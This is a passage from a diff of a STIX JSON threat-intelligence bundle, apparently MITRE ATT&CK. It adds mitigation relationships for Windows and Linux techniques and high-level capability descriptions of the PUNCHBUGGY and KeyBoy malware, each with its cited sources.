"attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Changing UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.", + "type": "relationship", + "created": "2019-06-13T16:13:06.846Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b79e03bb-a4c0-4724-bd4c-1286a3fd8d6a", + "modified": "2019-07-16T19:24:58.195Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft.", + "type": "relationship", + "id": "relationship--a8377ce6-74bc-4115-8298-57da0f828e5a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-13T16:38:06.135Z", + "modified": "2019-06-13T16:38:06.135Z", + "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means.", + "type": "relationship", + "created": "2019-06-13T16:43:14.999Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4df90c69-8ac5-4f22-b0cf-dd4debb8e051", + "modified": "2019-07-16T19:44:08.123Z", + "source_ref": "course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. Strong passwords should be used on certain encrypted documents that use them to prevent offline cracking through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.", + "type": "relationship", + "created": "2019-06-13T16:43:15.017Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--967c7069-6bb3-4f10-ba6b-5befdabe6c97", + "modified": "2019-07-16T19:44:08.132Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "\nConsider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS.", + "type": "relationship", + "created": "2019-06-13T16:47:55.972Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--57d1a497-ef75-46de-b284-eefa90a99172", + "external_references": [ + { + "source_name": "Microsoft BITS", + "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx" + } + ], + "modified": "2019-07-16T20:02:53.339Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.", + "type": "relationship", + "created": "2019-06-13T16:47:56.005Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4b4d8f9e-a416-4af6-9c20-582892601668", + "modified": "2019-07-16T20:02:53.337Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to install a bootkit.", + "type": "relationship", + "created": "2019-06-13T16:49:49.538Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--99e9cb52-5893-41c2-bd96-def10ccecfe9", + "modified": "2019-07-16T20:04:41.949Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised.", + "type": "relationship", + "created": "2019-06-13T16:49:49.549Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cce47265-080f-4148-b9c9-cd99eb1e2b2f", + "external_references": [ + { + "source_name": "TCG Trusted Platform Module", + "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.", + "url": "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf" + }, + { + "source_name": "TechNet Secure Boot Process", + "description": "Microsoft. (n.d.). Secure the Windows 8.1 boot process. Retrieved June 11, 2016.", + "url": "https://technet.microsoft.com/en-us/windows/dn168167.aspx" + } + ], + "modified": "2019-07-16T20:04:41.951Z", + "source_ref": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "\nClose out all browser sessions when finished using them to prevent any potentially malicious extensions from continuing to run.", + "type": "relationship", + "created": "2019-06-13T16:53:10.321Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bef3018a-1a38-4d1f-83ae-094f6c18f2a4", + "modified": "2019-07-16T20:22:19.965Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Only install browser extensions from trusted sources that can be verified. Browser extensions for some browsers can be controlled through Group Policy. Change settings to prevent the browser from installing extensions without sufficient permissions.", + "type": "relationship", + "created": "2019-06-13T16:53:10.338Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--08dea09a-e7f5-4e6d-a142-73548f6f1498", + "modified": "2019-07-16T20:22:19.980Z", + "source_ref": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Set a browser extension white or black list as appropriate for your security policy.", + "type": "relationship", + "created": "2019-06-13T16:53:10.350Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e13f1e41-fc5c-4cd3-ad6b-62bc597c959a", + "external_references": [ + { + "source_name": "Technospot Chrome Extensions GP", + "description": "Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.", + "url": "http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/" + } + ], + "modified": "2019-07-16T20:22:19.990Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": " Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.", + "type": "relationship", + "created": "2019-06-13T16:53:10.363Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0e686457-461d-496b-b838-dc8ca57a9f32", + "modified": "2019-07-16T20:22:19.992Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Refer to NIST guidelines when creating password policies.", + "type": "relationship", + "created": "2019-06-13T16:59:18.369Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d1f67e5c-72c6-4e26-91d4-bc8593e61774", + "external_references": [ + { + "source_name": "NIST 800-63-3", + "description": "Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.", + "url": "https://pages.nist.gov/800-63-3/sp800-63b.html" + } + ], + "modified": "2019-07-16T20:26:17.359Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.", + "type": "relationship", + "created": "2019-06-13T16:59:18.386Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cb87a0ce-0976-49e5-8e9c-2c908a24b30f", + "modified": "2019-07-16T20:26:17.376Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out.", + "type": "relationship", + "created": "2019-06-13T16:59:18.442Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c1a6c86e-5d5d-4cf1-845e-1660d9c19baf", + "modified": "2019-07-16T20:26:17.377Z", + "source_ref": "course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Remove users from the local administrator group on systems.", + "type": "relationship", + "created": "2019-06-13T18:50:51.732Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--629ac426-ec81-4183-80c0-b7fead5e3b19", + "modified": "2019-07-16T20:28:55.440Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).", + "type": "relationship", + "created": "2019-06-13T18:50:51.747Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f5ba1404-3e7e-4692-8a39-9e62e5d9542c", + "modified": "2019-07-16T20:28:55.439Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files.", + "type": "relationship", + "created": "2019-06-13T18:53:41.290Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e9cb90ec-499b-4dd9-ab5d-cc4d3995ed67", + "modified": "2019-07-16T20:37:57.561Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Making the associated environment variables read only can make sure that the history is preserved.", + "type": "relationship", + "created": "2019-06-13T18:53:41.301Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--42c25ff0-78e6-45fd-b131-a8c4564aa009", + "external_references": [ + { + "source_name": "Securing bash history", + "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.", + "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory" + } + ], + "modified": "2019-07-16T20:37:57.568Z", + "source_ref": "course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "type": "relationship", + "id": "relationship--dc317420-200a-40e1-97f0-4d76f5f3412f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-13T18:55:24.662Z", + "modified": "2019-06-13T18:55:24.662Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation).", + "type": "relationship", + "id": "relationship--add62ca8-e30a-4f6c-8186-770956f85305", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-13T18:55:24.675Z", + "modified": "2019-06-13T18:55:24.675Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "type": "relationship", + "created": "2019-06-13T18:58:06.815Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a1505946-76d9-4acb-8b1a-02c926915702", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-16T20:51:40.464Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Disable Autoruns if it is unnecessary.", + "type": "relationship", + "created": "2019-06-13T18:59:41.067Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8506f2ac-e856-4d13-ac7e-fc88c4ec3c15", + "external_references": [ + { + "source_name": "Microsoft Disable Autorun", + "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", + "url": "https://support.microsoft.com/en-us/kb/967715" + } + ], + "modified": "2019-07-16T20:53:20.713Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has Gzipped information and saved it to a random temp file before exfil.\t", + "type": "relationship", + "created": "2019-06-13T19:12:07.261Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--73faed96-608b-4740-894f-0e2eaee92343", + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "modified": "2019-06-28T20:48:52.652Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather domain and workgroup information.\t", + "type": "relationship", + "created": "2019-06-13T19:12:07.287Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3e0c5e91-eaf7-4a70-a903-81a6d7622a69", + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "modified": "2019-06-28T20:48:52.613Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather AVs registered in the system.\t", + "type": "relationship", + "created": "2019-06-13T19:12:07.290Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3c0cb507-2bf0-46ab-b5c2-ba2865397722", + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "modified": "2019-06-28T20:48:52.653Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather system information such as computer names.\t", + "type": "relationship", + "created": "2019-06-13T19:12:07.298Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ec85433f-2635-4e7c-af49-6dbfb269dbbd", + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "modified": "2019-06-28T20:48:52.676Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather user names.", + "type": "relationship", + "created": "2019-06-13T19:12:07.305Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2b2026c2-eb71-4c78-825d-5c4d0a747741", + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "modified": "2019-06-28T20:48:52.686Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used [PowerShell](https://attack.mitre.org/techniques/T1086), python, and shellcode scripts.", + "type": "relationship", + "created": "2019-06-13T19:12:07.346Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8dbcee86-c9db-4ae3-ba16-29056a8a1593", + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "modified": "2019-06-28T20:48:52.700Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used [PowerShell](https://attack.mitre.org/techniques/T1086) to decode base64-encoded assembly.", + "type": "relationship", + "created": "2019-06-13T19:12:07.349Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bdd9a384-2d57-4238-bddd-5500e667d620", + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "modified": "2019-06-28T20:48:52.706Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has hashed most its code's functions and encrypted payloads with base64 and XOR.", + "type": "relationship", + "created": "2019-06-13T19:12:07.352Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e2e74982-a4a6-428f-888a-a910453b7e82", + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "modified": "2019-06-28T20:48:52.704Z", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) exploits the vulnerability CVE-2012-0158 for execution.", + "type": "relationship", + "created": "2019-06-14T16:45:33.879Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8fd44a0a-7c50-41aa-ba8e-a308b25ce04a", + "external_references": [ + { + "source_name": "Rapid7 KeyBoy Jun 2013", + "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.", + "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/" + } + ], + "modified": "2019-06-30T22:48:21.664Z", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) installs a keylogger for intercepting credentials and keystrokes.", + "type": "relationship", + "created": "2019-06-14T16:45:33.895Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--65f57f42-9784-4ca2-8192-bfa90ffc075f", + "external_references": [ + { + "source_name": "Rapid7 KeyBoy Jun 2013", + "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.", + "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/" + } + ], + "modified": "2019-06-30T22:48:21.680Z", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) can determine the public or WAN IP address for the system.", + "type": "relationship", + "created": "2019-06-14T16:45:33.927Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0aafbc63-2021-4c99-b273-1241943fd959", + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + } + ], + "modified": "2019-06-30T22:48:21.722Z", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) can gather extended system information, such as information about the operating system, disks, and memory.", + "type": "relationship", + "created": "2019-06-14T16:45:33.929Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0bc7c262-604c-42af-8829-ce9f579436d4", + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + }, + { + "source_name": "Rapid7 KeyBoy Jun 2013", + "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. 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Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + }, + { + "source_name": "Rapid7 KeyBoy Jun 2013", + "description": "Guarnieri, C., 